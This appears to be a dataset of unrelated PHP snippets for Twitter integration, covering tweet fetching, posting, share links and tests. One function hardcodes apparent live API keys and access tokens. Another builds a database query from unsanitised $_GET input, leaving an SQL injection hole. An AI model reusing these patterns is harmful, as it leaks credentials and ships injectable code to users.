$i++) {\n\t\t\t$tweet = $fetchedTweets[$i];\n\t\t\t\n\t\t\t$name = $tweet->user->name;\n\t\t\t\n\t\t\t$permalink = 'http://twitter.com/' . $name . '/status/' . $tweet->id_str;\n\t\t\t\n\t\t\t$image = $tweet->user->profile_image_url;\n\t\t\t\n\t\t\t$pattern = '/http:(\\S)+/';\n\t\t\t\n\t\t\t$replace = '<a href=\"${0}\" target=\"_blank\" rel=\"nofollow\">${0}</a>';\n\t\t\t\n\t\t\t$text = preg_replace($pattern, $replace, $tweet->text);\n\t\t\t\n\t\t\t$time = $tweet->created_at;\n\t\t\t$time = date_parse($time);\n\t\t\t\n\t\t\t$uTime = mktime($time['hour'], $time['minute'], $time['second'], $time['month'], $time['day'], $time['year']);\n\t\t\t\n\t\t\t\n\t\t\t$tweets[] = array( \n\t\t\t\t'text' => $text, \n\t\t\t\t'name' => $name, \n\t\t\t\t'permalink' => $permalink, \n\t\t\t\t'image' => $image, \n\t\t\t\t'time' => $uTime \n\t\t\t);\n\t\t}\n\t\t\n\t\t\n\t\tupdate_option($backupName, $tweets);\n\t}\n\t\n\t\n\treturn $tweets;\n}", "function twitter($text) {\n\treturn;\n\t// $connection = new TwitterOAuth(CONSUMER_KEY, CONSUMER_SECRET, \"\", \"\");\n\t// $parameters = array('status' => crop(utf8_encode($text), 140));\n\t// $status = $connection->post('statuses/update', $parameters);\n}", "function mc_tweet_approval( $prev, $new ) {\n\tif ( function_exists( 'wpt_post_to_twitter' ) && isset( $_POST['mc_twitter'] ) && trim( $_POST['mc_twitter'] ) != '' ) {\n\t\tif ( ( 0 == $prev || 2 == $prev ) && 1 == $new ) {\n\t\t\twpt_post_to_twitter( stripslashes( $_POST['mc_twitter'] ) );\n\t\t}\n\t}\n}", "function prli_twitter_oauth_tweet($message, $access_token)\n {\n $connection = new PrliTwitterOAuth(CONSUMER_KEY, CONSUMER_SECRET, $access_token['oauth_token'], $access_token['oauth_token_secret']);\n\n /* Get logged in user to help with tests. */\n $user = $connection->get('account/verify_credentials');\n\n $status = $connection->post('statuses/update', array('status' => $message));\n\n return $status;\n }", "public function getTwitterTweets() {\n $current_uid = isset($_GET['team']) ? $_GET['muid'] : \\Drupal::currentUser()->id();\n $properties = ['token_access'];\n $response = $this->getKabbodeNetworkStatusProperty(174, $current_uid, $properties);\n $TwitterHelper = new TwitterHelperFunction();\n $connection = new TwitterOAuth($TwitterHelper->getTwitterApiKey(), $TwitterHelper->getTwitterSecretKey(), $response['token_access']->oauth_token, $response['token_access']->oauth_token_secret);\n $parameters = ['count' => 10, 'include_rts' => 1, 'tweet_mode' => 'extended', 'exclude_replies' => 1];\n $get_tweet = $connection->get('statuses/user_timeline', $parameters);\n //modified twitter text\n foreach ($get_tweet as $key => $tweet) {\n $tweet->full_text = $this->json_tweet_text_to_HTML($tweet, $links = true, $users = true, $hashtags = true);\n if ($tweet->retweeted) {\n if (isset($tweet->retweeted_status) && is_object($tweet->retweeted_status)) {\n $tweet->retweeted_status->full_text = $this->json_tweet_text_to_HTML($tweet->retweeted_status, $links = true, $users = true, $hashtags = true);\n }\n }\n }\n $last_trace_tweet = end($get_tweet)->id - 1;\n \n $get_tweet['last_trace_tweet'] = strval($last_trace_tweet);\n return $get_tweet;\n }", "function twitter_tester(){\n\tget_twitter_message_info($nickname=\"paul\",$num_messages=10);\n}", "public function processTweetsAction()\n {\n try {\n $url = $_SERVER['HTTP_REFERER'];\n $customer = Mage::getSingleton('customer/session')->getCustomer();\n\n if (!Mage::getSingleton('customer/session')->isLoggedIn()) {\n throw new Exception($this->__(\"You must be logged in for us to reward you for tweeting.\"), 110);\n }\n\n $tweet = Mage::getModel('rewardssocial/twitter_tweet');\n\n if ($tweet->hasAlreadyTweetedUrl($customer, $url)) {\n throw new Exception($this->__(\"You've already tweeted about this page.\"), 120);\n }\n\n $minimumWait = $tweet->getTimeUntilNextTweetAllowed($customer);\n if($minimumWait > 0) {\n throw new Exception($this->__(\"Please wait %s second(s) before tweeting another page if you want to be rewarded.\", $minimumWait), 130);\n }\n\n if ($tweet->isMaxDailyTweetsReached($customer)) {\n $maxTweets = $this->_getMaxTweetsPerDay($customer);\n throw new Exception($this->__(\"You've reached the tweet-rewards limit for today (%s tweets per day)\", $maxTweets), 140);\n }\n\n $tweet->setCustomerId($customer->getId())\n ->setUrl($url)\n ->save();\n\n if (!$tweet->getId()) {\n throw new Exception($this->__(\"TWEET model was not saved for some reason.\"), 10);\n }\n\n $validatorModel = Mage::getModel('rewardssocial/twitter_tweet_validator');\n $validatorModel->initReward($customer->getId(), $url);\n\n $message = $this->__(\"Thanks for tweeting this page!\");\n $predictedPoints = $validatorModel->getPredictedTwitterTweetPoints();\n if (count($predictedPoints) > 0) {\n $pointsString = (string) Mage::getModel('rewards/points')->set($predictedPoints);\n $message = $this->__(\"You've earned <b>%s</b> for tweeting!\", $pointsString);\n }\n\n $this->_jsonSuccess(array(\n 'success' => true,\n 'message' => $message\n ));\n } catch (Exception $ex) {\n // log the exception\n Mage::helper('rewards')->logException(\"There was a problem rewarding customer {$customer->getEmail()} (ID: {$customer->getId()}) for tweeting about a page ({$url}): \".\n $ex->getMessage());\n\n $message = $this->__('There was a problem trying to reward you for tweeting about this page.<br/>Try again and contact us if you still encounter this issue.');\n if ($ex->getCode() > 100) {\n $message = $ex->getMessage();\n }\n\n $this->_jsonError(array(\n 'success' => false,\n 'message' => $message\n ));\n }\n\n return $this;\n }", "public function tweet($options){\r\n\t\t$result = '';\r\n\t\tif( $this->requiresAdding( 'base' ) ) {\r\n\t\t\t$result = $this->base( $options );\r\n\t\t}\r\n\t\r\n\t\t$attributes = array(\r\n\t\t\t\t'data-lang' => $this->getOptionsValue( $options, 'lang', 'social.twitter.tweet.lang' ),\r\n\t\t\t\t'data-url' => $options['post_url'],\r\n\t\t\t\t'data-via' => $this->getOptionsValue( $options, 'via', 'social.twitter.tweet.via' ), // user twitter name (@asingh)\r\n\t\t\t\t'data-text' => $this->getOptionsValue( $options, 'text', 'social.twitter.tweet.tweet' ), // actual tweet\r\n\t\t\t\t'data-count' => $this->getOptionsValue( $options, 'count_box', 'social.twitter.tweet.count' ),\r\n\t\t);\r\n\t\tif( !empty( $options['hashtags'] ) ){\r\n\t\t\tif( !is_array( $options['hashtags'] ) ){\r\n\t\t\t\t$options['hashtags'] = array( $options['hashtags'] );\r\n\t\t\t}\r\n\t\t\t$attributes['data-hashtags'] = implode( ',', $options['hashtags'] );\r\n\t\t}\r\n\t\t$button_text = $this->getOptionsValue( $options, 'button_text', 'social.twitter.tweet.button_text' );\r\n\t\t$result .= '<a href=\"https://twitter.com/share\" class=\"twitter-share-button\" '.$this->convertArrayToAttributes( $attributes ).'>'.$button_text.'</a>';\r\n\t\treturn $result;\r\n\t}", "function check_and_publish_future_post($post)\n {\n }", "function make_twitlink($email){\r\n //debugbreak();\r\n global $wpdb;\r\n $options = $this->get_options();\r\n $profiletwitter = false;\r\n $dbtwitter = $wpdb->get_var($wpdb->prepare(\"SELECT twitid FROM {$wpdb->prefix}wptwitipid WHERE email = %s\",$email));\r\n // set this->twitter_id\r\n if(isset($options['use_profile']) && $options['use_profile'] == 'on'){\r\n $user = get_user_by_email($email);\r\n $id = $user->ID;\r\n if($options['profile_field']){\r\n $profiletwitter = get_user_meta($id,$options['profile_field'],true);\r\n }\r\n }\r\n // use profile value if set or else use db value \r\n if($profiletwitter){\r\n $this->twitter_id = $profiletwitter;\r\n } else {\r\n $this->twitter_id = $dbtwitter;\r\n }\r\n $this->twitter_id = trim($this->twitter_id);\r\n if(!$this->twitter_id){\r\n return false;\r\n }\r\n // construct link\r\n $pre = $options['pre_link_html'];\r\n $pst = $options['post_link_html']; \r\n $search = '[username]';\r\n $replace = $this->twitter_id;\r\n $anchor = str_replace($search,$replace,$options['anchor_text']);\r\n if($options['clickable']=='yes'){\r\n $nofollow = ' rel=\"nofollow\"';\r\n $target = '';\r\n if($options['dofollow'] == 'on'){\r\n $nofollow = ' rel=\"external\"';\r\n }\r\n if($options['newwindow'] == 'on'){\r\n $target = ' target=\"_blank\"';\r\n }\r\n $class = ' class=\"'.$options['link_class'].'\"';\r\n $link = '<a'.$nofollow.$target.$class.' href=\"http://twitter.com/'.$this->twitter_id.'\">'.$anchor.'</a>';\r\n } else {\r\n $link = $anchor;\r\n }\r\n $link = $pre.$link.$pst;\r\n return $link;\r\n }", "function latestTweet()\n{\nrequire_once $_SERVER[\"DOCUMENT_ROOT\"].('/inc/codebird.php');\nCodebird::setConsumerKey('siuqD954HVxelmypLKWnA', 'to0MbPCCxiGMHqT65ttkhpVc1ybj0eAhtGOgzWNrWpE'); // static, see 'Using multiple Codebird instances'\n$cb = Codebird::getInstance();\n$cb->setToken('947973235-4Yu2YnqZ4FT6pc4OsxE3r1v3esnAgU34tUyFwo9y', 'RW0e1RmX2CtLGliB4cqT9LMs7kaQgNu2eSnLsCz5eM');\n$reply = (array) $cb->statuses_userTimeline(array(\"count\"=>1));\nif (count($reply)>0)\n{\n$text = $reply[0]->text;\n\n//var_dump($reply[3]->entities);\n//var_dump($text);\nforeach ($reply[0]->entities->hashtags as $entity)\n{\n $text = str_replace(\"#\".$entity->text, \"<a target='_blank' href='https://twitter.com/search?q=%23\".$entity->text.\"&src=hash'>#\".$entity->text.\"</a>\", $text);\n}\nforeach ($reply[0]->entities->urls as $entity)\n{\n $text = str_replace($entity->url, \"<a target='_blank' href='$entity->url'>\".$entity->url.\"'</a>\", $text);\n}\nforeach ($reply[0]->entities->user_mentions as $entity)\n{\n $text = str_replace(\"@\".$entity->screen_name, \"<a target='_blank' href='https://twitter.com/\".$entity->screen_name.\"'>@\".$entity->screen_name.\"</a>\", $text);\n}\nreturn($text);\n}\nelse return \"Follow us on Twitter\";\n}", "public function testRetweet()\n\t{\n\t\t$id = 217781292748652545;\n\t\t$trim_user = true;\n\n\t\t$returnData = new stdClass;\n\t\t$returnData->code = 200;\n\t\t$returnData->body = $this->sampleString;\n\n\t\t// Set request parameters.\n\t\t$data['trim_user'] = $trim_user;\n\n\t\t$path = $this->object->fetchUrl('/statuses/retweet/' . $id . '.json');\n\n\t\t$this->client->expects($this->once())\n\t\t->method('post')\n\t\t->with($path, $data)\n\t\t->will($this->returnValue($returnData));\n\n\t\t$this->assertThat(\n\t\t\t$this->object->retweet($id, $trim_user),\n\t\t\t$this->equalTo(json_decode($this->sampleString))\n\t\t);\n\t}", "public function validate_twitter(){\n\t\t\t\n\t\t\t$twitter = $this->input->post('twitter');\n\t\t\t$twitter = preg_replace(\"/\\s+/\", \"+\", $twitter);\n\t\t\t$twitter_url = 'https://www.twitter.com/'.$twitter;\n\t\t\t\n\t\t\t$twitter = ''.$this->input->post('twitter');\n\t\t\t$google = ''.$this->input->post('google');\n\t\t\t\n\t\t\tif (!preg_match(\"/\\b(?:(?:https?|ftp):\\/\\/|www\\.)[-a-z0-9+&@#\\/%?=~_|!:,.;]*[-a-z0-9+&@#\\/%=~_|]/i\",$twitter_url))\n\t\t\t{\n\t\t\t\t$this->form_validation->set_message('validate_twitter', 'Please enter a valid Twitter username!');\n\t\t\t\treturn FALSE;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\treturn TRUE;\n\t\t\t}\n\t\t}", "function twitter($atts, $content=null){\n$post_url = get_permalink($post->ID);\n$post_title = get_the_title($post->ID);\n$tweet = '<a style=\"color:blue; font-size: 20px;\" href=\"http://twitter.com/home/?status=Read' . $post_title . 'at' . $post_url . '\">\n<b>Share on Twitter </b></a>';\nreturn $tweet;\n}", "function get_ua_webtide_job_tweet_intent_url( $post_id ) {\n\t\n\tif ( strcasecmp( 'yes', get_post_meta( $post_id, 'customize_the_tweet', true ) ) == 0\n\t\t&& ( $custom_tweet = get_post_meta( $post_id, 'custom_tweet', true ) ) ) {\n\t\t\t\n\t\treturn 'https://twitter.com/intent/tweet?text=' . urlencode( $custom_tweet ) . '&url=' . urlencode( 'https://webtide.ua.edu/jobs/' ); //get_permalink( $post_id )\n\t\t\n\t}\n\t\n\treturn false;\n\t\n}", "protected function setup_tweet_data() {\n\t\t$this->text = str_replace( '&apos;', '\\'', $this->raw_data->text );\n\t\t$this->text = $this->remove_emoji( $this->text );\n\t\t$this->add_links_to_text();\n\n\t\t$this->link = \"https://twitter.com/{$this->raw_data->user->name}/status/{$this->raw_data->id_str}\";\n\t\t$this->timestamp = strtotime( $this->raw_data->created_at );\n\n\t\tif ( isset( $this->raw_data->retweeted_status ) ) {\n\t\t\t$this->image = $this->raw_data->retweeted_status->user->profile_image_url;\n\t\t} else {\n\t\t\t$this->image = $this->raw_data->user->profile_image_url;\n\t\t}\n\n\t\t// clear from the retweeted status text\n\t\tif ( ! empty( $this->raw_data->retweeted_status->text ) ) {\n\t\t\t$this->raw_data->retweeted_status->text = $this->remove_emoji( $this->raw_data->retweeted_status->text );\n\t\t}\n\t}", "public function twitter_tweet_publish(array $post_data, $uid) {\n $current_uid = $uid;\n $properties = ['token_access', 'id', 'status'];\n $network_properties = $this->getKabbodeNetworkStatusProperty(174, $current_uid, $properties);\n $access_token = $network_properties['token_access'];\n $TwitterHelper = new TwitterHelperFunction();\n $connection = new TwitterOAuth($TwitterHelper->getTwitterAPIKey(), $TwitterHelper->getTwitterSecretKey(), $access_token->oauth_token, $access_token->oauth_token_secret);\n $parameters['status'] = $post_data['message'];\n $mids = $post_data['mids'];\n // $public_url_videos = [];\n // $public_url_image = [];\n \n foreach ($mids as $mid) {\n $media = Media::load($mid);\n if (is_object($media)) {\n if ($media->hasField('field_media_video_file')) {\n $targetid = $media->field_media_video_file->target_id;\n $public_url_videos = $this->downloadMIDToPublicFolder($targetid);\n $videoUrl = $public_url_videos;\n $ch = curl_init($videoUrl);\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n curl_setopt($ch, CURLOPT_HEADER, true);\n curl_setopt($ch, CURLOPT_NOBODY, true);\n curl_exec($ch);\n $sizeBytes = curl_getinfo($ch, CURLINFO_CONTENT_LENGTH_DOWNLOAD);\n curl_close($ch);\n $connection->setTimeouts(10, 30);\n $media1 = $connection->upload('media/upload', ['media' => $videoUrl, 'total_bytes' => $sizeBytes, 'media_type' => 'video/mp4','media_category' =>'tweet_video'], true);\n if (isset($media1->errors) || isset($media1->error)) {\n if($media1->errors){\n $output = array('error' => array('msg' => $media1->errors['0']->message, 'code' => $media1->errors['0']->code, 'type' => 'Twitter Error Reported','custom_type' => 'Twitter Error Reported',));\n echo json_encode($output);\n exit; \n }\n else if($media1->error){\n $output = array('error' => array('msg' => $media1->error, 'code' => '', 'type' => 'Twitter Error Reported','custom_type' => 'Twitter Error Reported',));\n echo json_encode($output);\n exit; \n }\n }\n else{ \n $count = 0;\n do{\n $statusResponse = $connection->mediaStatus($media1->media_id_string);\n if ($statusResponse->processing_info->state == 'failed'){\n $output = array('error' => array('msg' => $statusResponse->processing_info->error->message, 'code' => $statusResponse->processing_info->error->code, 'type' => 'Twitter Error Reported','custom_type' => 'Twitter Error Reported',));\n echo json_encode($output);\n exit; \n }\n else if ($statusResponse->processing_info->state != 'succeeded')\n { sleep(5); }\n $count++;\n }\n while ($statusResponse->processing_info->state != 'succeeded' && $count < 10);\n }\n if ( $media1 && isset($media1->media_id_string)) {\n $parameters = ['status' =>$post_data['message'], 'media_ids' => $media1->media_id_string, ];\n $result = $connection->post('statuses/update', $parameters);\n if ($connection->getLastHttpCode() == 200) {\n return $result->id;\n }\n else{\n if (isset($result->errors) || isset($result->error)) {\n if($result->errors){\n $output = array('error' => array('msg' => $result->errors['0']->message, 'code' => $result->errors['0']->code, 'type' => 'Twitter Error Reported','custom_type' => 'Twitter Error Reported',));\n echo json_encode($output);\n exit; \n }\n else if($result->error){\n $output = array('error' => array('msg' => $result->error, 'code' => '', 'type' => 'Twitter Error Reported','custom_type' => 'Twitter Error Reported',));\n echo json_encode($output);\n exit; \n }\n } \n } \n }\n\n } elseif ($media->hasField('field_media_image')) {\n $targetid = $media->field_media_image->target_id;\n $public_url_image = $this->downloadMIDToPublicFolder($targetid);\n $media1 = $connection->upload('media/upload', ['media' => $public_url_image]);\n $media_file[] = $media1->media_id_string;\n }\n }\n }\n if (isset($media_file)) {\n $parameters = ['media_ids' => implode(',', $media_file) ];\n }\n $parameters['status'] = $post_data['message'];\n $result = $connection->post('statuses/update', $parameters);\n //\\Drupal::logger('twitter Api')->warning('<pre><code>' . print_r($result, TRUE) . '</code></pre>');\n if (isset($result->errors) || isset($result->error)) {\n if($result->errors){\n $output = array('error' => array('msg' => $result->errors['0']->message, 'code' => $result->errors['0']->code, 'type' => 'Twitter Error Reported','custom_type' => 'Twitter Error Reported',));\n echo json_encode($output);\n exit; \n }\n else if($result->error){\n $output = array('error' => array('msg' => $result->error, 'code' => '', 'type' => 'Twitter Error Reported','custom_type' => 'Twitter Error Reported',));\n echo json_encode($output);\n exit; \n }\n } \n else{\n return $result->id;\n }\n }", "function insert_twitter_comment($tweet, $post_id)\r\n\t{\r\n\t\t$time = date( 'Y-m-d H:i:s', strtotime($tweet->created_at));\r\n\r\n\t\t// Creates comment array\r\n\t\t$data = array(\r\n\t\t\t'comment_post_ID' => $post_id,\r\n\t\t\t'comment_author' => '@' . $tweet->user->screen_name,\r\n\t\t\t'comment_author_email' => '',\r\n\t\t\t'comment_author_url' => 'http://twitter.com/' . $tweet->user->screen_name . '/status/' . $tweet->id_str,\r\n\t\t\t'comment_content' => $this->comment_prefix . ' ' . trim(str_ireplace( '@' . $this->twitter_username, '', $tweet->text)),\r\n\t\t\t'comment_type' => 'comment',\r\n\t\t\t'comment_parent' => 0,\r\n\t\t\t'user_ID' => 0,\r\n\t\t);\r\n\r\n\t\t// Inserts the tweet as a comment\r\n\t\t$comment_ID = wp_new_comment($data);\r\n\r\n\t\t// Sets meta data on the comment to note it's a tweet\r\n\t\tadd_comment_meta($comment_ID, 'tb_is_tweet', true, true);\r\n\r\n\t\t// Updates the comment date and time - seems the API doesn't allow this\r\n\t\t// Also set approved to 0, while we're there\r\n\t\tglobal $wpdb;\r\n\t\t$wpdb->query(\"UPDATE wp_comments SET comment_date='{$time}', comment_date_gmt='{$time}', comment_author_IP='127.0.0.1', comment_agent='Twitter Blog Plugin', comment_approved=0 WHERE comment_ID=$comment_ID\");\r\n\r\n\t\tif ( get_option('comments_notify') && $data['comment_approved'] && $post->post_author != $commentdata['user_ID'] )\r\n\t\t\twp_notify_postauthor($comment_ID, $data['comment_type']);\r\n\r\n\r\n\t\t// Sends a direct message to commenter if allowed\r\n\t\tif( $this->send_dm_confirmation == 'on' )\r\n\t\t{\r\n\t\t\t// Send DM\r\n\t\t\t$twitter = $this->twitter_con->post( 'direct_messages/new', array('text' => 'Your tweet has been added as a comment to @' . $this->twitter_username . '\\'s blog - ' . get_permalink( $post_id ), 'screen_name' => $tweet->user->screen_name));\r\n\t\t}\r\n\t}", "function om13_wait_for_going_live() {\n\tif (time() < 1365447600 && !is_user_logged_in()) {\n\t\twp_die('Die Website der #om13 ist demnächst verfügbar. Bei Fragen kannst du gern den Twitteraccount <a href=\"https://twitter.com/openmindkonf\">@openmindkonf</a> kontaktieren. Wir freuen uns auf dich!'); // TODO: __\n\t}\n}", "public function ncc_v2_twitter_tweets_show()\n {\n\n $tweets = null;\n $cache_toggle = null;\n\n if ( false === ($tweets = get_transient('ncc_v2_twitter_cache') ) )\n {\n $api = new ncc_v2_twitter_api();\n $tweets = $api->get_tweets();\n\n $cache_toggle = '#FF0000';\n $cache_in_seconds = self::ncc_v2_twitter_tweets_cache_to_seconds();\n set_transient('ncc_v2_twitter_cache', $tweets, $cache_in_seconds);\n } else\n {\n $cache_toggle = '#00FF00';\n $tweets = get_transient('ncc_v2_twitter_cache');\n }\n\n $tweets = json_decode($tweets);\n\n if ( !isset($tweets->errors) && !empty($tweets))\n {\n $html = null;\n /*\n * Please excuse this ugly bit here. It would not be included in\n * an production plugin. It is to show if the transients are\n * working. Red for json; green for transient.\n */\n $html .= '<style type=\"text/css\">';\n $html .= '.cacheToggle:hover{';\n $html .= 'color:' . $cache_toggle . ';';\n $html .= '{';\n $html .= '</style>';\n /*\n * I wouldn't include this either, but it's a neat little thing\n * to play around with. Hover over any @mentions.\n */\n $html .= '<script src=\"http://code.jquery.com/jquery-1.10.1.min.js\"></script>';\n $html .= '<script type=\"text/javascript\" src=\"' . NCC_V2_TWITTER_PLUGIN_URL . 'inc/hovercards.js\"></script>';\n $html .= '<script type=\"text/javascript\" src=\"' . NCC_V2_TWITTER_PLUGIN_URL . 'inc/hovercard-twitter.js\"></script>';\n\n foreach ( $tweets as $tweet ) {\n $html .= '<article>';\n $html .= '<header>';\n $html .= '<h1 class=\"cacheToggle\"><time datetime=\"' . $tweet->created_at . '\">' . self::ncc_v2_twitter_tweets_date_formatter($tweet->created_at) . '</time></h1>';\n $html .= '</header>';\n $html .= '<p>' . self::ncc_v2_twitter_tweets_tweet_parser($tweet) . '</p>';\n $html .= '<footer>';\n $html .= '<p><a href=\"http://www.twitter.com/' . $tweet->user->screen_name . '\" target=\"_blank\">@' . $tweet->user->screen_name . '</a>&nbsp;|&nbsp;';\n $html .= '<a href=\"http://www.twitter.com/' . $tweet->user->screen_name . '/status/' . $tweet->id_str . '\" target=\"_blank\">View on Twitter</a></p>';\n $html .= '</footer>';\n $html .= '</article>';\n }\n\n } else\n {\n $html = null;\n\n $html .= '<article>';\n $html .= '<header>';\n $html .= '<h1>I just don\\'t know what went wrong.</h1>';\n $html .= '</header>';\n $html .= '<p>Actually, there was an error retreiving your tweets. Make sure you have the correct user name set in the Dashboard or wait a few minutes. Best to do both.</p>';\n $html .= '<img src=\"' . NCC_V2_TWITTER_PLUGIN_URL . 'inc/no-tweets.gif\" />';\n $html .= '</article>';\n }\n\n\n echo $html;\n\n\n }", "public function testTweetFailure()\n\t{\n\t\t$status = 'This is a status';\n\n\t\t$returnData = new stdClass;\n\t\t$returnData->code = 500;\n\t\t$returnData->body = $this->errorString;\n\n\t\t// Set POST request parameters.\n\t\t$data = array();\n\t\t$data['status'] = utf8_encode($status);\n\n\t\t$this->client->expects($this->once())\n\t\t\t->method('post')\n\t\t\t->with('/statuses/update.json', $data)\n\t\t\t->will($this->returnValue($returnData));\n\n\t\t$this->object->tweet($status);\n\t}", "function createTwitterUrl ( $_name, $_link ) {\n $twitter_url = [];\n if ( $_name !== \"\" ) {\n $_text = $_name . \" at xbank.amsterdam\";\n } else {\n $_text = \"xbank.amsterdam\";\n } \n $_url = encodeURIComponent ( $_link );\n $_url = \"test.xbank.amsterdam%23potluck\";\n $twitter_url[1] = $_url;\n $twitter_url[2] = \"https://twitter.com/share\" . \n \"?text=\" . $_text . \n \"&hashtags=XBank, Amsterdam, \" . str_replace( \" \", \"\", $_name ); \n return $twitter_url; \n}", "private function tweetNotice($result) {\n\t\t$message = \"\";\n\t\tif($this->makeHistoricalPost) {\n\t\t\t$message .= \"From my \".self::formatQueryDate($this->date).\" memory bank:\\n\";\n\t\t}\n\t\t$message .= \"An application to trademark “\" . cleanWordMarkForTweet($result->wordMark);\n\t\t$message .= \"” was \".($this->makeHistoricalPost?\"\":\"just \");\n\t\t$message .= ($this->qType === \"PO\"?\"published for opposition.\":\"filed.\");\n\t\t$message .= \"\\nMore information:\\n\";\n\t\t$message .= \"Status: \" . $result->getShareableStatusLink() . \"\\n\";\n\t\t$message .= \"Documents: \" . $result->getShareableDocumentLink() . \"\\n\";\n\t\t$message .= \"AMZN: \" . $result->getAmazonSearchLink() . \"\\n\";\n\t\t$message .= \"keywords: \" . $result->genreTagList;\n\t\techo \"\\n\" . $message . \"\\n\";\n\t\n\t\t$imageFilePath = \"./tmp_img.png\";\n\n\t\tif($this->realTweets) {\n\t\t\tif($this->tweetImages && $result->saveImageAsFile($imageFilePath)) {\n\t\t\t\t$tweet = $this->twitter->send($message, $imageFilePath);\n\t\t\t} else {\n\t\t\t\t$tweet = $this->twitter->send($message);\n\t\t\t}\n\t\t}\n\t}", "public static function create ( $tweet = '', $in_reply_to_status_id = false ) {\n\n\t\t$params = array(\n\t\t\t'status' => $tweet\n\t\t);\n\t\tif ( $in_reply_to_status_id !== false ) {\n\t\t\t$params['in_reply_to_status_id'] = $in_reply_to_status_id;\n\t\t}\n\n\t\tstatic::api()->request('POST', static::api()->url('1.1/statuses/update'), $params);\n\n\t\t$response = static::api()->response['response'];\n\t\t$code = static::api()->response['code'];\n\n\t\tif ($code === 200) {\n\t\t\treturn json_decode($response, false, 512, JSON_BIGINT_AS_STRING);\n\t\t}\n\n\t\treturn false;\n\n\t}", "function snowproblem_twitter_url() {\n return 'https://twitter.com/intent/tweet?text=' . urlencode( html_entity_decode( get_the_title() ) ) . '&url=' . get_the_permalink();\n}", "function printStatus($settings, $name)\r\n{\r\n$url = \"https://api.twitter.com/1.1/statuses/show.json\";\r\n$requestMethod = \"GET\";\r\n$getfield = \"?id=\" . $name;\r\n$twitter = new TwitterAPIExchange($settings);\r\n$string = json_decode($twitter->setGetfield($getfield)\r\n->buildOauth($url, $requestMethod)\r\n->performRequest(),$assoc = TRUE);\r\nif($string[\"errors\"][0][\"message\"] != \"\") {echo \"<h3>Sorry, there was a problem.</h3><p>Twitter returned the following error message:</p><p><em>\".$string[errors][0][\"message\"].\"</em></p>\";exit();}\r\necho \"<h1><u>\" . \"Text and related details of the Tweet ID \" . $string[\"id\"] . \"</u></h1> <br />\";\r\necho \"Text : \" . $string[\"text\"] . \"<br />\";\r\necho \"Profile Picture\" . \"<img src=\" . $string[\"user\"][\"profile_image_url_https\"] . \"/>\" .\"<br />\";\r\necho \"Name of Tweeter : \" . $string[\"user\"][\"screen_name\"] . \"<br />\";\r\necho \"Screen name of Tweeter : \" . $string[\"user\"][\"screen_name\"] . \"<br />\";\r\necho \"Location : \" . $string[\"user\"][\"location\"] . \"<br />\";\r\necho \"Created At : \" . $string[\"user\"][\"created_at\"] . \"<br />\";\r\n}", "function verify_twitter_login()\r\n\t{\r\n\t\t// Verifies the user has logged in\r\n\t\t$json = $this->twitter_con->get('account/verify_credentials');\r\n\r\n\t\t// Checks if an error message was returned\r\n\t\tif(isset($json->error))\r\n\t\t{\r\n\t\t\techo('<div class=\"error\"><p><strong>Twitter Blog Plugin</strong><br />Twitter Authentication Error: ' . $json->error . ' <a href=\"options-general.php?page=twitter-blog-menu\">Settings Page</a><br />\t\t\t\t <em>Note: As of version 0.8, Twitter authentication is done with OAuth. You will need to re-enter your login information. Set up the below options first, as you\\'ll need to specify the details of your app</em></p></div>');\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\treturn true;\r\n\t\t}\r\n\t}", "public function sanitize_all_tweets()\n {\n if($this->is_connected($this->connection)) {\n $tweets = $this->text_of_all_unsanitized_tweets();\n for($i = 0; $i < count($tweets); $i++) {\n $tweets[\"text\"] = $this->sanitize_tweet_by_id($tweets[\"id\"]);\n }\n return true;\n }\n return false;\n }", "public function add_tweet_replay() {\n\t\t\tif ($this->request->is('get')) {\n\t\t\t\t$user_id = $_GET['user_id'];\n\t\t\t\t$content_id = $_GET['content_id'];\n\t\t\t\t$comment_type = $_GET['comment_type'];\n\t\t\t\t$created = $_GET['created'];\n\t\t\t\t$tweet_reply = $_GET['tweet_reply'];\n\t\t\t\t$tweet_admin = $_GET['tweet_admin'];\n\t\t\t\t$this->loadModel('Tweet_comment');\n\t\t\t\t$this->request->data['Tweet_comment']['user_id'] = $user_id;\n\t\t\t\t$this->request->data['Tweet_comment']['comment_type'] = $comment_type;\n\t\t\t\t$this->request->data['Tweet_comment']['content_id'] = $content_id;\n\t\t\t\t$this->request->data['Tweet_comment']['created'] = $created;\n\t\t\t\t$this->request->data['Tweet_comment']['modified'] = $created;\n\t\t\t\t$this->request->data['Tweet_comment']['tweet_comment'] = $tweet_reply;\n\t\t\t\t$this->set('tweet_admin',$tweet_admin);\n\t\t\t\t$this->set('content_id',$content_id);\n\t\t\t\t if ($this->Tweet_comment->save($this->request->data)) {\n\t\t\t\t\t$this->Session->setFlash('User successfully saved.');\n\t\t\t\t\t$tweet_comment_id = $this->Tweet_comment->getInsertID(); \n\t\t\t\t }\n\t\t\t\t else {\n\t\t\t\t\t \n\t\t\t\t\t echo \"Tweet replay not saved\";\n\t\t\t\t\t exit;\n\t\t\t\t }\n\t\t\t} // post tweet replay end\n\t\t\t\n\t\t\t\n\t\t\t/*user friends start*/\t\n\t$reqUser = ClassRegistry::init('connections')->find('all',array('fields'=>array('connections.friend_id,connections.user_id'),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'conditions'=>array('(connections.user_id='.$user_id.' OR connections.friend_id='.$user_id.') AND connections.request=1')));\n\t\t\t\n\t\tforeach ($reqUser as $rfid) {\n\t\t\t\tif ($rfid['connections']['friend_id'] != $user_id) {\n\t\t\t\t\t$comResult[] .= $rfid['connections']['friend_id'];\n\t\t\t\t}\n\t\t\t\tif ($rfid['connections']['user_id'] != $user_id) {\n\t\t\t\t\t$comResult[] .= $rfid['connections']['user_id'];\n\t\t\t\t} \n\t\t}\n\t\t/*user friends end*/\n\t\tif($comResult){\n\t\t\tif (sizeof($comResult)>1) {\n\t\t\t \t$result =@implode(',',$comResult);\n\t\t\t}\n\t\t\telse {\n\t\t\t\t\tforeach ($comResult as $key=>$value) {\n\t\t\t\t\t\t\t\t\t$result = $value;\n\t\t\t\t\t\t}\t\n\t\t\t}\n\t\t\t$result .=$result.\",\".$user_id;\n\t\t}\n\t\telse {\n\t\t\t$result = $user_id;\t\n\t\t}\n\t\t\t\t$user_tweet_comments = ClassRegistry::init('Tweet_comment')->find('all', array('fields' => 